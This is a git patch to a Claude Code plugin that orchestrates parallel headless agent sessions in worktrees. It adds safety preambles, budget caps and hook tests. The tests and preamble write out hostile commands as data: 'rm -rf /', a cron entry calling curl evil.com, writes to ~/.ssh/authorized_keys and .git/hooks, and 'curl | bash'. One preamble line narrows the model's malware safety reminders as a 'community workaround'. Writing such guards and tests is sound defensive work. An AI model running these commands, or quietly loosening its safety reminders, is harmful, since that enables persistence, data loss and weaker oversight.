From 41a0c913fad0c576af8225f1e077cfc0a0f9c33e Mon Sep 17 00:00:00 2001 From: Kjell Tore Guttormsen Date: Mon, 4 May 2026 07:49:45 +0200 Subject: [PATCH] feat(ultraplan-local): harden Phase 2.6 wave executor (11 sub-changes for plugin-in-monorepo + gitignored-state topology) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Phase 2.6 + Hard Rules + Phase 2.4 hardenings against the topology that blocked S6 / S7 self-execution: Phase 2.6 (multi-session orchestration): - NEW Step 2a-pre: build absolute SHARED_CONTEXT_FILE (brief + architecture) once per wave; introduce ULTRAEXECUTE_MAX_TURNS / ULTRAEXECUTE_MAX_BUDGET_USD overrides for long runs. - Step 2a: prefix every git worktree command with GIT_OPTIONAL_LOCKS=0 (research/02 R2; GH #47721). - NEW Step 2a': copy gitignored project artifacts (brief.md, plan.md, research/) into each freshly-created worktree using PROJECT_SOURCE + PROJECT_REL so plugin-in-monorepo + gitignored-state topology works (brief Constraint 2). - Step 2b: prepend two safety preambles to every per-session prompt: (a) defense-in-depth headless-mode warning citing GH #36071 (b) malware-reminder conditional clarification per GH #52272 Honor `cwd:` field from Execution Strategy via SESSION_CWD; default is worktree root (backward-compatible). Add per-child --max-turns, --max-budget-usd, --append-system-prompt-file (research/06 R3+R4). - Step 2e: push branch BEFORE merge (research/02 R3 — converts unrecoverable branch loss into recoverable remote state). - Step 2f: prefix all worktree-remove / branch -d / worktree prune with GIT_OPTIONAL_LOCKS=0. - Step 4 cleanup: same GIT_OPTIONAL_LOCKS=0 treatment. Hard Rules: - Hard Rule 15: extend exception to permit ~/.claude/projects/*/memory/ writes when manifest declares memory_write: true (brief Constraint 3 Option A — narrow opt-in for memory file edits). - Hard Rule 19 (new): push-before-cleanup formalized as a rule. Phase 2.4: advisory hooks-fire precheck for CC version >= v2.1.117 (research/04 D4 + R5; research/06 R1). Test: tests/hooks/worktree-guard.test.mjs (6 tests) verifies the pre-bash-executor and pre-write-executor hooks accept routine worktree cleanup (Hard Rule 12) while still blocking the dangerous patterns introduced by parallel orchestration. --- .../commands/ultraexecute-local.md | 164 +++++++++++++++--- .../tests/hooks/worktree-guard.test.mjs | 58 +++++++ 2 files changed, 202 insertions(+), 20 deletions(-) create mode 100644 plugins/ultraplan-local/tests/hooks/worktree-guard.test.mjs diff --git a/plugins/ultraplan-local/commands/ultraexecute-local.md b/plugins/ultraplan-local/commands/ultraexecute-local.md index 8ae778f..2cfe05d 100644 --- a/plugins/ultraplan-local/commands/ultraexecute-local.md +++ b/plugins/ultraplan-local/commands/ultraexecute-local.md @@ -321,6 +321,20 @@ pre-execution summary. Report them in the final output under "Security advisorie **If clean:** Report `Security scan: PASS ({N} commands checked)` and continue. +### Hooks-fire precheck (advisory) + +Verify the operator's Claude Code version supports cross-model hook firing +(v2.1.117+ shipped the cross-model malware-reminder fix per research/04 D4 ++ R5 + research/06 R1). Run `claude --version` (or read +`${CLAUDE_CODE_VERSION}` if available) and compare against `2.1.117`. + +If unavailable or older: WARN (do not block) — +`Hooks-fire precheck: CC version {X} predates v2.1.117. Plugin hooks may +not fire reliably in headless child sessions; the in-prompt safety +preamble (Phase 2.6 Step 2b) is the primary defense for affected runs.` + +If version >= 2.1.117 or unparseable: continue silently. + ## Phase 2.5 — Execution strategy decision Determine how to execute this plan: @@ -519,19 +533,42 @@ in subsequent steps. All paths must be absolute. For each wave (in order): +**2a-pre. Build shared context + budget caps (runs once per wave, before +worktree creation):** + +```bash +WORKTREE_BASE="$(realpath "${WORKTREE_BASE:-${SESSION_DIR:-$REPO_ROOT}/worktrees}")" +mkdir -p "${WORKTREE_BASE}" +SHARED_CONTEXT_FILE="${WORKTREE_BASE}/.shared-context.md" +cat "${PROJECT_DIR}/brief.md" > "${SHARED_CONTEXT_FILE}" +if [ -f "${PROJECT_DIR}/architecture/overview.md" ]; then + printf '\n\n---\n\n' >> "${SHARED_CONTEXT_FILE}" + cat "${PROJECT_DIR}/architecture/overview.md" >> "${SHARED_CONTEXT_FILE}" +fi +MAX_TURNS="${ULTRAEXECUTE_MAX_TURNS:-50}" +MAX_BUDGET_USD="${ULTRAEXECUTE_MAX_BUDGET_USD:-5}" +``` + +The budget caps default to safe values for normal-length steps. Operators may +override for long runs: +`ULTRAEXECUTE_MAX_TURNS=120 ULTRAEXECUTE_MAX_BUDGET_USD=20 /ultraexecute-local --project ...` + **2a. Create worktrees for this wave's sessions:** For each session N in this wave: ```bash BRANCH_NAME="ultraplan/{slug}/session-{N}" WORKTREE_PATH="$WORKTREE_DIR/session-{N}" -git worktree add -b "$BRANCH_NAME" "$WORKTREE_PATH" HEAD +GIT_OPTIONAL_LOCKS=0 git worktree add -b "$BRANCH_NAME" "$WORKTREE_PATH" HEAD ``` +`GIT_OPTIONAL_LOCKS=0` disables `.git/index.lock` background polling races +during parallel worktree operations (research/02 R2; GH #47721). + If `git worktree add` fails (e.g., branch exists from a crashed run): ```bash -git branch -D "$BRANCH_NAME" 2>/dev/null -git worktree add -b "$BRANCH_NAME" "$WORKTREE_PATH" HEAD +GIT_OPTIONAL_LOCKS=0 git branch -D "$BRANCH_NAME" 2>/dev/null +GIT_OPTIONAL_LOCKS=0 git worktree add -b "$BRANCH_NAME" "$WORKTREE_PATH" HEAD ``` If it still fails, report the error, mark this session as failed, and skip it. @@ -541,23 +578,95 @@ Report: Worktree created: session-{N} → {WORKTREE_PATH} (branch: {BRANCH_NAME}) ``` +**2a'. Copy gitignored project artifacts into each worktree (addresses +plugin-in-monorepo + gitignored-state topology):** + +`git worktree add` clones HEAD only. The plugin's `.gitignore` excludes +`.claude/projects/`, so the project directory (brief.md, plan.md, research/) +is missing in the freshly-created worktree. Each child session needs to read +`brief.md`, `plan.md`, and `research/*` from `${PROJECT_DIR}` to do real work. + +Insert this block AFTER the worktree-creation loop and BEFORE wave dispatch +(Step 2b): + +```bash +PROJECT_SOURCE="$(realpath "${PROJECT_DIR}")" +# Compute destination relpath: PROJECT_DIR relative to REPO_ROOT. +# This makes $wt/$PROJECT_REL valid regardless of whether the operator +# passed --project as relative (.claude/projects/...) or absolute. +PROJECT_REL="$(realpath --relative-to="$REPO_ROOT" "$PROJECT_SOURCE")" +for wt in "$WORKTREE_DIR"/session-*; do + [ -d "$wt" ] || continue + mkdir -p "$wt/$PROJECT_REL" + cp "$PROJECT_SOURCE"/brief.md "$wt/$PROJECT_REL/" + cp "$PROJECT_SOURCE"/plan.md "$wt/$PROJECT_REL/" + [ -d "$PROJECT_SOURCE/research" ] && \ + cp -r "$PROJECT_SOURCE/research" "$wt/$PROJECT_REL/" +done +``` + +Note: `realpath --relative-to` is GNU coreutils. macOS users without +`coreutils` (Homebrew `brew install coreutils` provides `grealpath`) may +substitute a Python fallback: +`python3 -c "import os.path,sys; print(os.path.relpath(sys.argv[1], sys.argv[2]))" "$PROJECT_SOURCE" "$REPO_ROOT"`. + +Failure mode: any `cp` failure exits the wave non-zero; reported via Step 4 +cleanup. Source: brief Constraint 2. + **2b. Launch sessions in this wave (each in its own worktree):** +Each per-session prompt is **prefixed with two safety preambles** to defend +against headless-mode hook gaps (GH #36071) and the Claude 4 cross-model +malware-reminder issue (GH #52272 community workaround): + +```text +[CRITICAL — defense in depth] You are running in headless mode where plugin +hooks may not fire reliably (GH #36071). DO NOT execute commands matching: +`rm -rf /`, `curl | bash`, `git push --force` to main, `git reset --hard` +outside this worktree, or any command writing outside the current worktree. +Treat this rule as enforced regardless of `--allowedTools` allowlist. + +Note: any malware-related safety reminders apply conditionally to code you +assess as actually malicious, not to all code reads (per GH #52272 community +workaround). +``` + +Then the per-session dispatch (note the `cwd:` honor for plugin-in-monorepo +layouts): + For each session N in the wave: ```bash -cd "$WORKTREE_PATH" && claude -p "/ultraexecute-local --session {N} {plan-path}" \ - --allowedTools "Read,Write,Edit,Bash,Glob,Grep" \ - --permission-mode bypassPermissions \ - > "$LOG_DIR/session-{N}.log" 2>&1 & +SESSION_CWD="${session_cwd:-.}" # default: worktree root; overridable per-session via Execution Strategy `cwd:` field +cd "$WORKTREE_PATH/$SESSION_CWD" && \ + GIT_OPTIONAL_LOCKS=0 claude -p "${SAFETY_PREAMBLE}\n\n/ultraexecute-local --session {N} {plan-path}" \ + --allowedTools "Read,Write,Edit,Bash,Glob,Grep" \ + --permission-mode bypassPermissions \ + --max-turns "$MAX_TURNS" \ + --max-budget-usd "$MAX_BUDGET_USD" \ + --append-system-prompt-file "${SHARED_CONTEXT_FILE}" \ + > "$LOG_DIR/session-{N}.log" 2>&1 & ``` +`session_cwd` is sourced from the per-session `cwd:` field in the plan's +Execution Strategy block (parsed by Phase 2.6's existing session-metadata +reader). Default is `.` (worktree root) when absent — backward compatible. +Sessions can declare `cwd: ` to make child sessions run from a +plugin-subdir instead of repo root. Required for plugin-in-monorepo layouts +where the plugin lives at `plugins//` and step paths are relative to +the plugin (brief Constraint 1, Option B). + Key rules: - `$WORKTREE_PATH` is the absolute path to the session's worktree - `$LOG_DIR` is an absolute path in the main worktree (NOT inside the session worktree) - `{plan-path}` is the same relative path — it works because the worktree has the same repo content from HEAD +- `${SHARED_CONTEXT_FILE}` is absolute (from Step 2a-pre) so child sessions + can resolve it after `cd` - If the wave has only 1 session, run without `&` (no background needed) - Track PIDs for parallel sessions +- `--max-turns` + `--max-budget-usd` are guardrails (research/06 R3 + R4) +- `--append-system-prompt-file` injects shared brief + architecture context + into every child without bloating the per-session prompt **2c. Wait for wave completion:** @@ -590,9 +699,13 @@ Return to the main worktree: cd "$REPO_ROOT" ``` -For each session N in the wave (in order): +For each session N in the wave (in order), push BEFORE merge so the wave +branch survives even if cleanup races ahead (research/02 R3 — converts an +unrecoverable failure to a recoverable one). Push failure is non-fatal +(no remote, offline, etc.): ```bash -git merge --no-ff "ultraplan/{slug}/session-{N}" \ +GIT_OPTIONAL_LOCKS=0 git push origin "ultraplan/{slug}/session-{N}" 2>/dev/null || true +GIT_OPTIONAL_LOCKS=0 git merge --no-ff "ultraplan/{slug}/session-{N}" \ -m "merge: ultraplan session {N} — {session-title}" ``` @@ -621,10 +734,10 @@ Mark remaining sessions as "merge-failed". Jump to Step 4 (cleanup), then Phase After successful merge of all sessions in the wave: ```bash for each session N in the wave: - git worktree remove "$WORKTREE_DIR/session-{N}" --force - git branch -d "ultraplan/{slug}/session-{N}" + GIT_OPTIONAL_LOCKS=0 git worktree remove "$WORKTREE_DIR/session-{N}" --force + GIT_OPTIONAL_LOCKS=0 git branch -d "ultraplan/{slug}/session-{N}" done -git worktree prune +GIT_OPTIONAL_LOCKS=0 git worktree prune ``` Report: `Wave {W}: {N} sessions merged, worktrees cleaned up.` @@ -644,15 +757,15 @@ merge conflict. It is the worktree equivalent of a `finally` block. ```bash cd "$REPO_ROOT" -# Remove any remaining worktrees +# Remove any remaining worktrees (GIT_OPTIONAL_LOCKS=0 to avoid lock-file races) for wt in "$WORKTREE_DIR"/session-*; do - [ -d "$wt" ] && git worktree remove "$wt" --force 2>/dev/null + [ -d "$wt" ] && GIT_OPTIONAL_LOCKS=0 git worktree remove "$wt" --force 2>/dev/null done -git worktree prune +GIT_OPTIONAL_LOCKS=0 git worktree prune # Remove session branches -git branch --list "ultraplan/{slug}/*" | while read branch; do - git branch -D "$branch" 2>/dev/null +GIT_OPTIONAL_LOCKS=0 git branch --list "ultraplan/{slug}/*" | while read branch; do + GIT_OPTIONAL_LOCKS=0 git branch -D "$branch" 2>/dev/null done # Clean up empty directories @@ -1342,9 +1455,13 @@ Never let stats failures block the workflow. 15. **No writing outside the repository.** During step execution, never write files outside the git repository root (`git rev-parse --show-toplevel`). - Exception: `.claude/` paths for plans, progress files, and stats. - This prevents escape-from-repo attacks where a plan step modifies home - directory or system files. + Exception: `.claude/` paths for plans, progress files, and stats, + AND `~/.claude/projects/*/memory/` paths for memory files when the + step's manifest declares `memory_write: true`. The `memory_write: true` + opt-in is a second gate: unauthorized memory writes still fail. This + prevents escape-from-repo attacks where a plan step modifies home + directory or system files, while permitting the narrow case of + deliberate memory updates. 16. **No writing to security-sensitive paths.** Never write to `.git/hooks/` (git hook injection), `~/.ssh/`, `~/.aws/`, `~/.gnupg/`, `.env` files, @@ -1365,3 +1482,10 @@ Never let stats failures block the workflow. where a transcript ends on an unrelated Read and the agent self-reports `completed` without verifying. If Phase 7.5 has not run, the executor may not emit `result: completed` under any circumstances. + +19. **push-before-cleanup.** After successful `git merge --no-ff` of a wave + branch, run `git push origin ` BEFORE `git worktree remove` and + `git branch -d`. Push failure is non-fatal (no remote, offline, etc.) — + cleanup proceeds regardless. Rationale: this converts an unrecoverable + failure (worktree removed, branch deleted, work lost) into a recoverable + one (push succeeded, branch preserved on remote). Source: research/02 R3. diff --git a/plugins/ultraplan-local/tests/hooks/worktree-guard.test.mjs b/plugins/ultraplan-local/tests/hooks/worktree-guard.test.mjs new file mode 100644 index 0000000..3847f17 --- /dev/null +++ b/plugins/ultraplan-local/tests/hooks/worktree-guard.test.mjs @@ -0,0 +1,58 @@ +// tests/hooks/worktree-guard.test.mjs +// Step 9 (plan-v2) — verifies the dangerous patterns introduced by the +// Phase 2.6 parallel-worktree workflow are caught by the existing +// pre-bash-executor and pre-write-executor hooks, while routine worktree +// cleanup is permitted. +// +// Pattern source: tests/helpers/hook-helper.mjs (runHook). Mirrors the +// llm-security/tests/hooks/*.test.mjs style. + +import { test } from 'node:test'; +import { strict as assert } from 'node:assert'; +import { dirname, join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { runHook } from '../helpers/hook-helper.mjs'; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const ROOT = join(HERE, '..', '..'); +const PRE_BASH = join(ROOT, 'hooks', 'scripts', 'pre-bash-executor.mjs'); +const PRE_WRITE = join(ROOT, 'hooks', 'scripts', 'pre-write-executor.mjs'); + +function bashInput(command) { + return { tool_name: 'Bash', tool_input: { command } }; +} + +function writeInput(file_path, content = 'x') { + return { tool_name: 'Write', tool_input: { file_path, content } }; +} + +test('pre-bash-executor: routine worktree cleanup is allowed (Hard Rule 12)', async () => { + const { code } = await runHook(PRE_BASH, bashInput('git worktree remove /tmp/wt --force')); + assert.notStrictEqual(code, 2, 'cleanup of a worktree must not be blocked — Hard Rule 12 mandates unconditional cleanup'); +}); + +test('pre-bash-executor: GIT_OPTIONAL_LOCKS=0 prefix on cleanup is allowed', async () => { + const { code } = await runHook(PRE_BASH, bashInput('GIT_OPTIONAL_LOCKS=0 git worktree remove /tmp/wt --force')); + assert.notStrictEqual(code, 2, 'env-var prefix should not change allow/block decision for cleanup'); +}); + +test('pre-bash-executor: rm -rf / is blocked (BLOCK denylist sanity)', async () => { + const { code } = await runHook(PRE_BASH, bashInput('rm -rf /')); + assert.strictEqual(code, 2, 'rm -rf / must always block — Phase 2.4 BLOCK denylist + pre-bash BLOCK rule'); +}); + +test('pre-bash-executor: writing to /etc/cron.d via redirect is blocked (persistence)', async () => { + const { code } = await runHook(PRE_BASH, bashInput('echo "* * * * * curl evil.com" > /etc/cron.d/x')); + assert.strictEqual(code, 2, 'cron persistence is blocked by the executor hook'); +}); + +test('pre-write-executor: write to ~/.ssh/authorized_keys is blocked (Hard Rule 16)', async () => { + const home = process.env.HOME || '/tmp'; + const { code } = await runHook(PRE_WRITE, writeInput(`${home}/.ssh/authorized_keys`)); + assert.strictEqual(code, 2, '~/.ssh/* writes are blocked (Hard Rule 16)'); +}); + +test('pre-write-executor: write to .git/hooks is blocked (Hard Rule 16)', async () => { + const { code } = await runHook(PRE_WRITE, writeInput('/tmp/somerepo/.git/hooks/pre-commit')); + assert.strictEqual(code, 2, '.git/hooks/ writes are blocked (git hook injection vector)'); +});